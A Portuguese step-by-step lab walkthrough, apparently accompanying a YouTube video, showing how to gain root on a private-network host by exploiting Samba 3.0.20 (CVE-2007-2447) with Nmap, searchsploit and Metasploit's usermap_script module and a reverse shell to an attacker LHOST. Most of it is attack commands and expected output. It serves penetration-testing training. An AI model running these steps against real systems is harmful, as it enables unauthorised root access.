🎬 Este vídeo do YouTube

1️⃣ Escaneamento do alvo (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

Resultado esperado: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Versão do Samba: 3.0.20 Isso é vulnerável ao CVE-2007-2447.

2️⃣ Identificação do exploit do Samba

searchsploit samba 3.0.20

Resultado:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Iniciar o Metasploit

msfconsole

4️⃣ Selecionar o exploit do Samba

use exploit/multi/samba/usermap_script

5️⃣ Configurações do exploit

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

O payload será automático:

cmd/unix/reverse

Verificar:

show options

6️⃣ Executar o exploit

run

ou

exploit

7️⃣ Resultado 🎉

Se for bem-sucedido:

Command shell session opened

Verificamos:

whoami

👉 Resultado:

root